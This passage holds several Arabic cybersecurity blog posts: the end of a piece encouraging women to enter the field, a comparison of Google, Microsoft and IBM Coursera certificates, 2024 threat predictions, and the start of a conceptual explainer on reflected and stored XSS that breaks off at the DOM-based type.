لكني قررت أن أسأل مدرب الدورة المهندس جميل حسين طويلة عن هذا الأمر.

وأجابني بكلمات ملهمة قائلاً:

“بالعكس تماماً! ستكون لديك فرصة رائعة في هذا المجال، لأن نسبة المشاركة للفتيات قليلة جداً، إذا استمريتِ وعملتِ بجد، فبالتأكيد ستجنين ثماراً رائعة وستحظى بفرص عمل ممتازة في المستقبل.”

بهذه الكلمات، تغيرت نظرتي تماماً وأدركت أن وجودي في هذا المجال كامرأة يمثل فرصة للتأثير والتميز وقررت أن استمر وأعمل بجد، لأنني أدركت أن قلة المشاركة النسائية تعني أن هناك مساحة كبيرة للنمو والتفوق.

لماذا قررت كتابة هذا المقال؟

لكي أشجع كل امرأة مهتمة بمجال الأمن السيبراني على أن تتجاوز الشكوك والتحديات وأن تؤمن بقدرتها على تحقيق النجاح، لا تدعي أي نسبة قليلة تثنيكي عن متابعة شغفك وتحقيق أهدافك فالعالم يحتاج إلى صوتك ومساهمتك في حماية وجودنا الرقمي.

كما نعلم جميعاً بأن الأمن السيبراني أصبح تحدياً رئيسياً في عصرنا الحديث وبالتالي فإن دخول المرأة في هذا المجال المعقد والمتطور يمثل تحدياً للتصور التقليدي ومع ذلك، على الرغم من التحديات الكثيرة تثبت المرأة يوما بعد يوم قدرتها على تقديم إسهامات قيمة وحلول فريدة لتعزيز الحماية في عالمنا الرقمي وبالفعل، هناك نماذج مشرقة لنساء يعملن في هذا المجال، حيث يتفوقن في تحليل الهجمات السيبرانية وحماية الأنظمة والشبكات من عمليات الاختراق وسرقة وتسريب البيانات.

وهنا يجب أن نتذكر:

أن القدرة والموهبة لا تتوقف على جنس معين أو دور معين في المجتمع فلنرحب ولندعم ولنلهم المزيد من النساء للازدهار في مجال الأمن السيبراني!

كيف يمكننا تعزيز دور المرأة في هذا المجال؟

بالتأكيد يوجد العديد من الأمور التي من الممكن أن تساعد في تعزيز دور المرأة في مجال الأمن السيبراني ومن وجهة نظري يمكن أن يتم هذا الأمر من خلال الدعم والتدريب المستمر للنساء اللاتي يسعين للدخول إلى هذا المجال عبر تقديم برامج تعليم وتدريب مخصصة وتوفر الفرص والموارد الضرورية للنمو والتقدم المهني، كما يمكن تشجيع المشاركة النشطة للشركات والمؤسسات في تأمين بيئة عمل تحترم التنوع وتقدر المساهمات المتنوعة.

خطوات لتبدأ المرأة مسيرتها المهنية في الأمن السيبراني

سأطرح عليكم بعض الخطوات لمساعدة المرأة المهتمة بمجال الأمن السيبراني لتبدأ مسيرتها المهنية:

1. التعليم والتدريب

تبدأ المسيرة المهنية في مجال الأمن السيبراني بالتعليم والتدريب ولهذا السبب ينبغي على المرأة المهتمة أن تكتسب المعرفة والمهارات الأساسية في مجال الأمن السيبراني من خلال دراسة علوم الحاسب وأساسيات الشبكات وأنظمة التشغيل، يمكن الحصول على كل هذه المهارات من خلال حضور الدورات التدريبية والبرامج التعليمية المتاحة عبر الإنترنت أو في المراكز التدريبية.

2. اكتساب الخبرة العملية

بمجرد الحصول على المعرفة الأساسية، يوصى بالبحث عن فرص لاكتساب الخبرة العملية في مجال الأمن السيبراني. يمكن للمرأة الالتحاق ببرامج التدريب أو الاجتماعات والمؤتمرات المتخصصة والمشاركة في مشاريع تطوعية أو العمل في مشاريع جامعية ذات صلة، هذه الفرص تساعدها على تطبيق المفاهيم والمهارات التي تعلمتها وبناء شبكة مهنية.

3. الحصول على الشهادات والاعتمادات

تعد الشهادات والاعتمادات في مجال الأمن السيبراني أداة هامة لبناء المصداقية والتميز المهني، هناك العديد من الشهادات المعترف بها عالمياً في مجال الأمن السيبراني، مثل شهادة Security Plus وشهادة Certified Ethical Hacker (CEH)، والعديد من الشهادات الأخرى ينبغي على المرأة المهتمة أن تدرس وتحضر دورات الاستعداد لهذه الشهادات وتسعى للحصول عليها لتعزيز مهاراتها وتوسيع فرصها المهنية.

4. بناء الشبكة المهنية

ينبغي على المرأة المهتمة بمجال الأمن السيبراني أن تبني شبكة مهنية قوية من خلال الانضمام إلى المنتديات والمجتمعات عبر الإنترنت للتواصل مع المحترفين ومشاركة الأفكار والخبرات، كما ينصح بحضور المؤتمرات والمعارض الخاصة بالأمن السيبراني حيث يمكنها التعرف على أشخاص ذوي خبرة وتوسيع شبكتها المهنية.

5. التقدم المهني

تتطلب مسيرة مهنية ناجحة بمجال الأمن السيبراني التقدم المستمر والتطوير المهني، ينبغي على المرأة المهتمة أن تواصل تعلم الأفكار والتقنيات الجديدة في هذا المجال بالإضافة لمتابعة التطورات والتحديثات الأمنية، هذه الأمور تساعدها للحصول على فرص للترقية والتحول إلى مناصب أعلى في مجال الأمن السيبراني، مثل مدير الأمن السيبراني أو مستشار الأمن السيبراني.

6. تعزيز الوعي وتشجيع النساء

يمكن للمرأة المهتمة بمجال الأمن السيبراني أن تلعب دوراً في تعزيز الوعي الأمني وتشجيع المزيد من النساء على اختيار هذا المجال المهني من خلال المشاركة في الأنشطة والمبادرات التعليمية وتقديم الدعم والمساعدة للنساء اللاتي يرغبن في دخول هذا المجال.

في النهاية

أوصيكِ بالاستمرار على هذا النهج والعمل بجد لاكتساب المهارات المطلوبة وتوسيع معرفتك في مجال الأمن السيبراني فرغم التحديات الكثيرة يمكن أن تكوني فتاة ناجحة ومبدعة في هذا المجال وقادرة على تحقيق تميزك وفرض بصمتك الخاصة، استمري في مسيرتك وتحدّي نفسك وكوني مستعدة للاستثمار بتعلم المهارات اللازمة لهذا المجال لضمان نجاحك في المستقبل.

أنت تستحقين أن تُدرّبي وتعملي في هذا المجال بنفس الفرص والامتيازات التي يتمتع بها الأشخاص الآخرون، لذا أود أن أوجه رسالة لكل امرأة تهتم بمجال الأمن السيبراني: “لا تستسلمي للشكوك ولا تدعي نسبة المشاركة المنخفضة تثنيكِ عن متابعة شغفكِ وتحقيق أهدافكِ”.

حرب الشهادات السيبرانية

Tue, 16 Jan 2024 10:31:54 GMT

يقارن المقال ثلاث شهادات أمن سيبراني على منصة كورسيرا: شهادة Google (6 أشهر) الأوسع للمبتدئين والطامحين لدور محلل أمني، وMicrosoft (6 أشهر) المركّزة على الحوسبة السحابية، وIBM (4 أشهر) القوية في الأساسيات. جميعها بسعر اشتراك موحد نحو 49 دولاراً شهرياً.

رحلة مثيرة في عالم الحماية الرقمي وتحليل شيق لثلاث شهادات تعتبر من أهم الشهادات الأساسية في عالم الأمن السيبراني

في عالمنا المتقدم التكنولوجي اليوم، أصبحت الحاجة إلى الأمن السيبراني أمراً لا مفرَّ منه في عصر الابتكار التكنولوجي المتسارع، في يومنا الحالي لا غنى عن الأمن السيبراني لضمان حماية بياناتنا الحساسة وتحقيق الاستقرار الرقمي.

تبرز الشهادات في مجال الأمن السيبراني كأدوات حيوية لتزويد المحترفين بالمهارات اللازمة لمواجهة التحديات المتزايدة في عالم الحماية الرقمي ومع تزايد الطلب على هذه الشهادات، يندلع سباق شرس بين مجموعة من الشهادات الرائدة، مما يثير التساؤلات حول الاختيار الأمثل.

في هذا السياق المليء بالتحديات والفرص، تأتي هذه المقالة لتستكشف عوالم ثلاث شهادات سيبرانية محترمة، تتيح للمتعلمين فرصة تطوير مهاراتهم واكتساب المعرفة اللازمة.

سنستعرض بعناية جوانب كل شهادة ونسلط الضوء على الفوارق الرئيسية بينها، مما يساعدك في اتخاذ قرار مستنير حول الشهادة التي تتناسب أكثر مع احتياجاتك وأهدافك المهنية.

سنستعرض معاً مسارات هذه الشهادات الثلاثة:

ونكتشف ما إذا كانت هذه الرحلة ستضعك على قمة التحدي، استعد للاستكشاف والتحليق في عالم مليء بالتكنولوجيا والتحديات الشيقة.

سنقوم بمراجعة هذه الشهادات المهنية وفحص محتواها وسنلقي نظرة على الاختلاف بينها وسنقدم بشكل تقريبي الوقت الذي قد تحتاجه لاجتياز كل شهادة، بالإضافة إلى التكلفة المالية.

المدة الزمنية

من المهم جدا معرفة الوقت اللازم لإتمام كل شهادة.

للتحضير لشهادة IBM Cybersecurity Analyst Professional Certificate، ستحتاج إلى حوالي 4 أشهر بمتوسط دراسة 10 ساعات أسبوعياً.
للتحضير لشهادة Google’s Cybersecurity Certification ستحتاج إلى حوالي 6 أشهر بمتوسط دراسة 7 ساعات أسبوعياً
للتحضير لشهادة Microsoft Cybersecurity Analyst Professional Certificate ستحتاج إلى حوالي 6 أشهر بمنوسط دراسة 10 ساعات أسبوع

مع ذلك، يجب أن تعتبر هذه الأرقام مجرد متوسطات وقد يستطيع البعض إكمال الشهادات في فترة أقل بحسب قدرات الفرد على استيعاب المعلومات وظروف حياته اليومية.

تفاصيل الشهادات الثلاث و ما تقدمه من محتوى

Google’s Cybersecurity Certification

تعد شهادة Google للأمن السيبراني خياراً رائعاً للأفراد الذين يرغبون في الانطلاق في عالم الحماية الرقمي، تقدم هذه الشهادة تجربة شاملة تتألف من ثمانية محاور مثيرة، تأسر الخيال وتوجهك نحو فهم عميق لمجال الأمن السيبراني

في المحور الأول:

يقدم البرنامج لك أساسيات الأمن السيبراني في رحلة تستمر 14 ساعة، فتُدرك أهمية الأساسيات وتُشارك في تجارب تعلم مشوقة.

في المحور الثاني:

حيث تنغمس في عالم الحماية بشكل أعمق، مع تعلم كيفية تحديد التهديدات والمخاطر الرقمية، بالإضافة لاستخدام أدوات وأنظمة الحماية المتقدمة مثل أنظمة إدارة الأحداث والمعلومات الأمنية (Security Information and Event Management) SIEM، مدة هذا المحور 11 ساعة.

في المحور الثالث:

ستكتشف أساسيات الأمن السيبراني والحماية الخاصة بالشبكات، حيث ستستمتع برحلة تستمر 14 ساعة لفهم طبقات الشبكة وأسرار البورتات.

في المحور الرابع:

يُعنى هذا المحور ببيئة Linux وأدوات وتقنيات الحماية الخاصة بهذه الأنظمة، حيث تتعلم كيف تتعامل مع المخاطر والتهديدات، مع تعلم لغة SQL واستخدامها بشكل فعّال، يمتد هذا المحور لـمدة 27 ساعة.

في المحور الخامس:

يأخذك هذا المحور في رحلة تحليل سطح الهجوم واكتشاف الثغرات في نظامك، بالإضافة إلى التعرف على هجمات الهندسة الاجتماعية، مدة هذا المحور 26 ساعة.

في المحور السادس:

ستتعرف على طرق احتواء الحوادث الأمنية وستتعلم كيفية التعامل معها، بالإضافة إلى تحليل حركة حزم الشبكة وفهم مكونات التوقيعات الرقمية، مدة هذا المحور 24 ساعة

في المحور السابع:

يركز هذا المحور على لغة البرمجة Python وأهميتها في مجال الحماية الرقمي، وكيفية استخدامها للقيام بمهام مخصصة، مدة هذا المحور 30 ساعة

في المحور الثامن:

يقودك هذا المحور إلى فهم متى وكيفية التصعيد الأمني ويُلهمك للمشاركة في المجتمع السيبراني والبحث عن فرص العمل في هذا المجال، في رحلة مكثفة تستمر لمدة 18 ساعة.

باختصار: تعتبر شهادة Google للأمن السيبراني

مفتاحاً رائعاً للانطلاق في عالم الأمن السيبراني، فهي تقدم تجربة شاملة ومثيرة لبناء أساس قوي في هذا المجال المثير والمتطور

Microsoft Cybersecurity Analyst Professional Certificate

تقدم هذه الشهادة فرصة فريدة لاكتساب المهارات والمعرفة اللازمة للدخول إلى عالم الحماية الرقمية والأمن السيبراني.

في المحور الأول:

ستغوص في أعماق مكونات الحاسوب وتفاعلها مع نظام التشغيل وتستكشف أساسيات الأمن السيبراني على مدار 14 ساعة من التدريب المثير.

في المحور الثاني:

ستقوم بإعداد بيئة الحوسبة السحابية على Azure وتكتسب فهماً عميقاً للأنظمة الافتراضية Virtual Machine والخدمات السحابية، خلال رحلة مدتها 25 ساعة.

في المحور الثالث:

حيث ستُسلط الضوء على التهديدات السيبرانية المتقدمة وتكتسب مهارات استكشاف الثغرات والتصدي للهجمات، مع فهم لخوارزميات التشفير واستخداماتها على مدار 20 ساعة.

في المحور الرابع:

يقودك هذا المحور نحو استكشاف الأمن السيبراني بأبعاده المتنوعة على مدار 21 ساعة.

في المحور الخامس:

ستتعرف على أنواع سياسات الحماية للبنية السحابية وكيفية حماية هذه البيئات من هجمات منع الخدمة وخروقاتوتسريب البيانات، مع استعراض أدوات الحماية السحابية على مدار 22 ساعة.

في المحور السادس:

ستتعلم أدوات اختبار الحماية داخل البيئة السحابية وكيفية تنفيذ اختبارات الاختراق على الأنظمة السحابية، مع تدريب يستمر لمدة 20 ساعة.

في المحور السابع:

ستتعرف على كيفية إدارة البيانات والسجلات و حماية المعلومات وكتابة سياسات الحماية، في رحلة مثيرة تستمر 20 ساعة.

في المحور الثامن:

ستبدأ على التعرف على طرق التخفيف من التهديدات باعتبارك خبيراً في نمذجة التهديدات، بالإضافة للتعرف على كيفية إدارة وحماية أجهزة انترنت الأشياء IoT على مدار 27 ساعة.

في المحور الأخير:

ستغوص في مفاهيم وقوانين ومعايير الأمن السيبراني والامتثال المختلفة، مع استعراض لإمكانيات الحلول الأمنية المقدمة من قبل شركة Microsoft على مدار 14 ساعة.

إجمالاً، تُعد شهادة Microsoft Cybersecurity Analyst Professional

مثالية للذين يمتلكون معرفة مسبقة في مجال الأمن السيبراني ويرغبون في الانطلاق في عالم الحماية الرقمية للخدمات السحابية.

IBM Cybersecurity Analyst Professional Certificate

استعد لاكتساب الخبرات الرائدة في عالم الأمن السيبراني من خلال شهادة IBM Cybersecurity Analyst Professional! على الرغم من أن هذه الشهادة قد تكون الأقدم في الساحة، إلا أنها تقدم محتوى غني ومتنوع يشمل ثمانية محاور مثيرة للتعلم.

في المحور الأول:

ستنطلق في رحلة استكشاف أنواع البرمجيات الخبيثة Malware وتطور طرق الحماية عبر العصور، مع تسليط الضوء على كيفية الاستجابة للحوداث الأمنية، على مدار 17 ساعة من التدريب المكثف.

في المحور الثاني:

ستتعرف على عالم الأمن السيبراني، حيث ستكتسب خلفية قوية حول دور الحماية في المجتمع التكنولوجي، في رحلة تمتد لحوالي 12 ساعة.

في المحور الثالث:

حيث ستُلقي نظرة على المعايير الأساسية مثل NIST – GDPR – HIPAA بالإضافة إلى فهم دور ووظائف فرق الحماية/ على مدار 17 ساعة.

في المحور الرابع:

ستنتقل إلى فهم أساسيات الشبكات TCP/IP وOSI، بالإضافة إلى فهم أنظمة عناوين الشبكة وأسرار التبديل والتوجيه، في رحلة تمتد لحوالي 14 ساعة.

في المحور الخامس:

ستنتقل لاكتساب الأساسيات الضرورية لمهارات الأمن السيبراني، عبر 15 ساعة من التدريب المكثف.

في المحور السادس:

ستفهم تكتيكات الدفاع عن الشبكات وتقنيات التحكم بالوصول، بالإضافة إلى كيفية مراقبة الشبكة، في رحلة ممتدة لـ 25 ساعة.

في المحور السابع:

ستنتقل لاستكشاف منهجيات الاستجابة للحوادث الأمنية وكشف الستار عن انتهاكات سابقة وحديثة وكيفية الدفاع عن الهجمات في المستقبل، خلال 15 ساعة من التدريب.

في المحور الثامن:

ستتعمق في فهم الوظائف المثيرة في عالم الحماية، مع توجيه مفصل لكيفية تحضير نفسك للاندماج في سوق العمل، في محور يمتد لساعات محدودة.

بشكل عام، تعد شهادة IBM للأمن السيبراني خياراً ممتازاً

خاصة إذا كنت تمتلك معرفة مسبقة في المجال و تريد الانغماس في تجربة مثيرة لفهم المزيد عن هذا المجال و تريد الاستعداد لبناء مستقبلك المهني في عالم الأمن السيبراني

المحاور و المحتوى المقدم حسب رأيي الشخصي

بدعوى استكمال مقارنة الشهادات الثلاث وبرامج التدريب، يظهر بوضوح أن الجوانب المشتركة بينهم تتمثل في أهمية فهم مفهوم الشبكات في عالم الأمن السيبراني، بمعنى آخر إذا لم تكن لديك معرفة بالشبكات، فإنك قد تجد صعوبة في التفاعل مع متطلبات هذا المجال المتطور بسرعة ولهذا السبب انصحك وبشدة بقراءة هذا الكتاب الدليل الشامل لأساسيات الشبكات في مجال الأمن السيبراني

عند التركيز على المقارنة العميقة بين Google and IBM، يبرز تشابه بينهما، حيث يركزان على جوانب معينة. برنامج Microsoft، على الجانب الآخر، يبدي اهتماماً كبيراً بمنتجاته الخاصة، مما قد يكون غير ملائم حينما تكون الغاية في البداية هي فهم المجال بشكل أوسع.

عند المقارنة بين Google and IBM، تظهر شهادة IBM بأنها تركز على جوانب متنوعة، في حين تركز شهادة Google بشكل أكبر على نظام التشغيل Linux و قواعد البيانات والاستجابة للحوادث الأمنية.

إذاً، يظهر أن IBM تضع تأسيساً قوياً في المفاهيم الأساسية، مطالبة بفهم الطلاب للأساسيات قبل الأدوات، بالمقابل فإن Google تشير إلى رغبتها في جعل الطلاب محللين أمنيين من خلال التركيز الأكبر على الاستجابة للحوادث الأمنية.

إذا كان هدفك هو أن تصبح محلل أمني، يظهر أن شهادة Google توفر نطاقاً أوسع وشمولية أكبر ويجب أن تأخذ في اعتبارك أن محتوى IBM قد يكون قديماً مما يشير إلى أن التحديثات والتكنولوجيا الحديثة قد لا تكون مشمولة بشكل كامل.

باختصار، يبدو أن Google تقدم منحى أوسع وشامل في مجال السيبراني

مما يجعلها خياراً أفضل لمن يرغب في أن يكون محلل أمني متميزاً.

الاختبار أو الامتحان النهائي

تتألق الشهادات الثلاث، Google, IBM, and Microsoft، كوجهات مختلفة في رحلة اكتساب المعرفة في ميدان الأمن السيبراني.

تبرز شهادة IBM بامتحانها النهائي الذي يمتد لأربع ساعات، مما يجعلها تتميز بتحديد مستوى الفهم بشكل عميق ومع ذلك، يجب التفرغ للفحص العملي في Google and Microsoft، حيث يطلب منك اجتياز اختبارات متعددة خلال الدورة.

الاختبارات العملية تعتبر أساسية للحفاظ على المعرفة على المدى الطويل وهي طريقة فعالة لضمان اكتساب المهارات العملية التي تحتاجها في عالم الأمن السيبراني، إذا كنت تسعى للانتقال من المستوى المبتدئ إلى المتوسط في هذا المجال، فإن هذه الاختبارات تعتبر أمر ضروري لتحقيق هذا الهدف.

التكلفة المادية

الشهادات الثلاثة متاحة ومقدمة عبر منصة Coursera وبالتالي فإن السعر موحد لأي شهادة تختارها على المنصة، يتراوح سعر الاشتراك في Coursera حوالي 49 دولاراً شهرياً، مع إمكانية الحصول على فترة تجريبية مجانية تستمر لمدة 7 أيام عند التسجيل.

يمكنك دفع هذا المبلغ ودراسة عدة شهادات خلال الفترة المتاحة دون أي قيود مما يجعل العملية ميسرة من الناحية المالية.

في النهاية

لا ينبغي عليك الإسراع في دراسة هذه الشهادات، خاصة إذا كنت مبتدئ في هذا المجال ويفضل أن تأخذ الوقت الكافي لفهم جميع المفاهيم وتطبيقها بشكل صحيح.

كما تجدر الإشارة إلى أنه ليس من الضروري دراسة كل الشهادات الثلاث نظراً لوجود قدر لا بأس به من التداخل كما هو الحال في أسمائهم.

لا تنسى القاعدة العامة في العالم التقني: ” كلما تعلمت أكثر كلما زادت فرص نجاحك في هذا المجال بشكل أكبر”

توقعات الأمن السيبراني لعام 2024

Sun, 31 Dec 2023 08:35:34 GMT

تشمل أبرز توقعات الأمن السيبراني لعام 2024: تصاعد هجمات الفدية ضد البنية التحتية الحيوية، استخدام الذكاء الاصطناعي في الهجوم والدفاع، تزايد ثغرات إنترنت الأشياء والسيارات الكهربائية، تهديد الحوسبة الكمومية للتشفير، والتوسع في اعتماد نموذج الثقة الصفرية و DevSecOps وقوانين خصوصية أصرم.

التنبؤ بالمستقبل في مجال الأمن السيبراني يعتمد على الحقائق الموجودة لدينا، بالنسبة للقارئ العادي قد يبدو التنبؤ بمستقبل الأمن السيبراني للعام المقبل بمثابة عمل تخميني أو تكهنات ولكن بالنسبة لنا نحن العاملين في مجال الأمن السيبراني فإن هذا التوقع الاستباقي لما قد يخطط له الأشرار ومجرمي الانترنت يعتبر أمر ضروري ولا بده منه.

يمكن أن نعترف جميعاً بأن عام 2023 كان عاماً بالغ الأهمية وتميز بتقدم ملحوظ وتحديات كبيرة في مجال الأمن السيبراني، الآن تتوجه أعيننا لعام جديد ونستعد لاستقبال عام 2024 وبالتأكيد فإن مشهد الأمن السيبراني على أعتاب تحولات جوهرية تتميز بالتعقيد المتزايد والتهديدات المتطورة والاعتراف المتزايد بضرورة إيجاد حلول أمنية متطورة ومتكاملة ونظراً لموقعنا على مفترق طرق التطورات التكنولوجية غير المسبوقة وتحديات الأمن السيبراني المتصاعدة، يجب على الأفراد والمنظمات على حد سواء الاستعداد للرحلة المقبلة والتعامل مع التحديات الأمنية بالشكل الأمثل ولهذا السبب نقدم لكم في هذا المقال توقعات شاملة للأمن السيبراني لعام 2024 والتي يجب أن تكون موضع اهتمام لجميع العاملين في هذا المجال.

إليك توقعات الأمن السيبراني التي قد نواجهها في عام 2024

1- ازياد في عدد هجمات برامج الفدية Ransomware Attacks

من المتوقع أن تستمر هجمات برامج الفدية والتي شكلت تهديداً مستمراً في السنوات الأخيرة وفي عام 2024 من المرجح أن لا يستهدف مجرمو الإنترنت الشركات فحسب، بل سيتم استهداف البنية التحتية الحيوية والخدمات الحكومية ولا تزال الاحتمالات الكبيرة واردة لتعطيل الخدمات والتعرض لخسائر مالية كبيرة وبالتأكيد فإن هذا الأمر يجب أن يدفع المؤسسات لإعطاء الأولوية لحلول النسخ الاحتياطي القوية وتدريب الموظفين والتركيز على اكتشاف وإصلاح الثغرات للتخفيف من تأثير هجمات برامج الفدية.

2- ازدياد الهجمات المدعومة بالذكاء الاصطناعي

سيلعب الذكاء الاصطناعي AI والتعلم الآلي ML دور كبير وبشكل متزايد في الهجمات السيبرانية في عام 2024 ومن المتوقع أن يستفيد مجرمو الإنترنت من تقنيات الذكاء الاصطناعي والتعلم الآلي لأتمتة قدراتهم وتعزيزها، مما سيجعل الهجمات أكثر تعقيداً وأكثر تكلفة من ناحية الخسائر ولهذا السبب يجب على متخصصي الأمن السيبراني الاستفادة أيضاً من الذكاء الاصطناعي في الجانب الدفاعي ليتمكنوا من التصدي للتهديدات المتطورة.

3- الذكاء الاصطناعي في الجانب الدفاعي

يقدم التطور السريع للذكاء الاصطناعي فرصاً وتحديات في مجال الأمن السيبراني، كما أن نفس الأدوات التي تزود المهاجمين بقدرات متقدمة يمكن أن تكون مفيدة في الجانب الدفاعي وهذا الأمر قد تم اعتماده في العديد من الحلول الأمنية ومن المتوقع الاستمرار والتوسع في استخدام وتطبيق الذكاء الاصطناعي بشكل فعال في الجانب الدفاعي والتأكد من أنه سيعالج مشاكل متقدمة لا يمكن معالجتها بالطرق التقليدية.

4- ازدياد الثغرات في أجهزة انترنت الأشياء IoT

سيؤدي الاعتماد المتزايد على أجهزة انترنت الأشياء IoT إلى ظهور ثغرات ونقاط ضعف جديدة في عام 2024، تفتقر العديد من هذه الأجهزة إلى تدابير الحماية الأساسية مما يجعلها أهدافاً جذابة للمهاجمين

تعتبر المعالجة الفورية والسريعة للمشاكل الأمنية في أجهزة انترنت الأشياء IoT أمر بالغ الأهمية، حيث تستمر هذه الأجهزة في الاندماج بشكل متزايد في حياتنا اليومية وفي البنية التحتية الحيوية ضمن جميع المجالات ولهذا السبب يجب على المصنعين والمستهلكين إعطاء الأولوية لتفعيل ميزات الحماية وتطبيق التحديثات الخاصة بأنظمة التشغيل لهذه الأجهزة، بالإضافة لاستخدام آليات المصادقة القوية للحماية من التهديدات التي تستهدف هذه الأجهزة.

5- اختراق السيارات الكهربائية

يوجد مقولة مشهورة في مجال الأمن السيبراني تقول:

كل شيء متصل فهو عرضة للاختراق

وبالتأكيد هذه المقولة تنطبق على وسائل النقل والسيارات الحديثة وخاصة الكهربائية منها والتي ستكون أهداف محتملة للهجمات السيبرانية، بما أن معظم المركبات على الطريق اليوم تعتمد على العديد من الأنظمة الالكترونية والحاسوبية بالإضافة لتقنيات الاتصال والتحكم عن بعد وبالتأكيد هذه الأنظمة لن تخلو من الثغرات الأمنية ونقاط الضعف وبالتالي هي عرضه للهجمات، الأمر الذي يشكل تهديداُ كبير قد يمس بحياة مستخدمي هذه السيارات وهنا تجدر الإشارة لضرورة معالجة هذا الأمر واتخاذ تدابير الأمن السيبراني المناسبة للتعامل مع هذا المشهد المرعب.

6- تهديدات الحوسبة الكمومية Quantum Computing

التطورات المستمرة في الحوسبة الكمومية ستعيد تشكيل مشهد الأمن السيبراني في عام 2024 وخاصة في تقنيات وخوارزميات التشفير فقد أصبح من الممكن للقوة الحسابية الهائلة لأجهزة الكمبيوتر الكمومية أن تكسر خوارزميات التشفير الحالية والتي كانت غير قابلة للكسر سابقاً مثل خوارزمية التشفير RSA المستخدمة في العديد من تقنيات الاتصال عبر شبكة الانترنت وبالتأكيد هذا الأمر سيدفعنا لتطوير تقنيات تشفير وتدابير حماية جديدة كما يجب على المؤسسات أن تبقى مطلعة على تطورات الحوسبة الكمومية وأن تفكر في الاستثمار في التشفير المقاوم للكم.

7- الحاجة إلى DevSecOps

الاستخدام المتزايد ل API والتطبيقات المتعددة الأخرى يؤدي لزيادة في سطح الهجوم وهنا تأتي أهمية اعتماد ممارسات DevSecOps (development, security and operations) للقيام بعملية التطوير الآمن للبرامج والتطبيقات

من المتوقع الاستثمار بشكل أكبر بهذا المجال في العام القادم للحصول على الأقل على مستوى حماية مقبول.

8- المزيد من الاعتماد على مبدأ الثقة الصفرية

تؤكد مبادئ Zero Trust على التحقق من كل مستخدم وجهاز بغض النظر عن الموقع وهي جزء لا يتجزأ من استراتيجيات الأمن السيبراني الحديثة ومن المتوقع أن يتوسع اعتماد هذا النموذج الأمني بشكل أكبر في عام 2024 حيث تدرك المؤسسات الحاجة إلى تعزيز مستوى الحماية في الشبكات وحماية البيانات الحساسة مع الانتشار المتزايد لثقافة العمل عن بعد.

9- قوانين أكثر صرامة بخصوصية البيانات

ستواصل الحكومات في جميع أنحاء العالم تطبيق قوانين صارمة تتعلق بخصوصية البيانات في عام 2024، مما يضع مسؤولية أكبر على عاتق المؤسسات لتأمين وحماية بيانات العملاء والمستخدمين، يمكن أن يؤدي عدم الامتثال لهذه القوانين إلى غرامات بمالية كبيرة وإلحاق الضرر بالسمعة للشركات والمؤسسات ولهذا السبب يجب على الشركات الاستثمار في آليات قوية لحماية البيانات بما في ذلك التشفير وضوابط التحكم الوصول والممارسات الأخرى التي تراعي الخصوصية والقوانين المطبقة.

10- هجمات إضافية على سلسلة التوريد

ستستمر هجمات سلسلة التوريد Supply Chain Attacks، مع تركيز المهاجمين على استهداف مصنعي البرامج والأجهزة للوصول إلى الأهداف النهائية ويمكن أن يكون لهذه الهجمات دوافع جيوسياسية وعواقب كبيرة وبعيدة المدى ولهذا السبب يجب على الشركات اعتماد إجراءات أمنية صارمة لسلاسل التوريد، وإجراء تقييمات أمنية شاملة للبائعين واعتماد نهج استباقي لاكتشاف التهديدات المحتملة والتخفيف من آثارها.

في النهاية

سيكون عام 2024 هو عام محوري للأمن السيبراني ولهذا السبب فإن البقاء على اطلاع دائم بالتهديدات الأمنية والاستفادة من أحدث تقنيات الحماية يعتبر أمر بالغ الأهمية، دعونا نعمل بشكل جماعي نحو مستقبل رقمي أكثر أماناً من خلال التغلب على هذه التحديات والاستفادة من أي فرص تسمح لنا بتحسين وضعنا الأمني الرقمي.

نتمنى لكم في موسوعة الأمن السيبراني عاماً جديداً ملؤه الخير والأمان في حياتكم بالعالم الحقيقي وبالعالم الرقمي.

ما هي ثغرة XSS؟

Wed, 13 Sep 2023 11:29:52 GMT

ثغرة XSS (Cross-Site Scripting) تنتج عن عدم فلترة مُدخلات المستخدم، فتتيح للمهاجم حقن سكربتات جافاسكربت تُنفَّذ في متصفح زوار الموقع الذين يثقون به. أنواعها Reflected وStored وDOM-based، ويُحمى منها بفلترة جميع حقول الإدخال وتفعيل علمي httponly وsecure على الكوكيز.

في عصر الإنترنت، أصبح من الممكن الوصول إلى المعلومات والتطبيقات من أي مكان في العالم. ومع ذلك، فإن هذا الانتشار الكبير للويب جعل المستخدمين عرضة لخطر الهجمات الإلكترونية ومن أخطر هذه الهجمات هجمات حقن البرامج النصية عبر مواقع الويب (XSS) والتي يمكن أن تكون لها عواقب وخيمة، في هذا المقال سنتعرف على ثغرة XSS وطرق الحماية الخاصة بها

ما هي ثغرة XSS ؟

ثغرة XSS، أو Cross-Site Scripting، هي واحدة من أشهر الهجمات السامة على الويب.

تتمثل هذه الثغرة في إدخال سكريبتات خبيثة إلى موقع الويب، مما يتيح للمهاجم تنفيذ أوامر خبيثة على أجهزة الزوار الذين يتفاعلون مع الموقع المصاب.

بمعنى آخر، يتم استغلال موقع الويب المصاب كوسيلة لاختراق وإيذاء الزوار الذين يثقون فيه.

في هجمات XSS، لا يكون المهاجم يستهدف الموقع المصاب بشكل مباشر، ولكن يستغله للوصول إلى الزوار الذين يثقون في الموقع. يقوم المهاجم بزرع سكريبتات خبيثة في الموقع المصاب، وعندما يتفاعل الزائر مع الموقع، يتم تنفيذ هذه السكريبتات في متصفحهم، مما يعرضهم للخطر.

باختصار، ثغرة XSS تتيح للمهاجم حقن سكريبتات ضارة في موقع الويب، مما يؤدي إلى تنفيذ هذه السكريبتات في متصفح الزوار، مما يعرضهم لخطر الاختراق والتجسس وسرقة البيانات.

ما هي ثغرة XSS وأنواعها

Reflected XSS

من أبسط الأنواع هو ناتج عن عدم فلترة دخل المستخدم لنرى هذا المثال:

عندما نقوم بالبحث عن شيء ما في موقع فنذهب الى حقل البحث و نكتب ما نريد البحث عنه وعندما نرى الاسم الذي بحثنا عنه معروض في الموقع هنا نقوم بتجربة حقن اكواد JavaScript وبعدها ننسخ الرابط و نرسله الى الهدف.

Stored XSS

مثل النوع السابق ولكن هذا النوع عالي الخطورة و ضرره لا يقتصر على المستخدم فقد يؤثر على كل زوار الموقع وعلى الموقع أيضاً لأنه يخزن داخل الموقع.

على سبيل المثال: الحقن في حقل البحث لا يخزن داخل الموقع لكن عند الحقن في حقل التعليقات فالتعليقات تخزن في قاعدة البيانات و تظهر لكل الزوار وهذا الأمر سيوثر على أي شخص يزور الموقع وهنا لسنا بحاجة لإرسال الرابط المحمل بالاكواد يكفي زيارة الموقع فقط من قبل الهدف ليتم تنفيذ الكود ضمن متصفحه.

DOM-based XSS

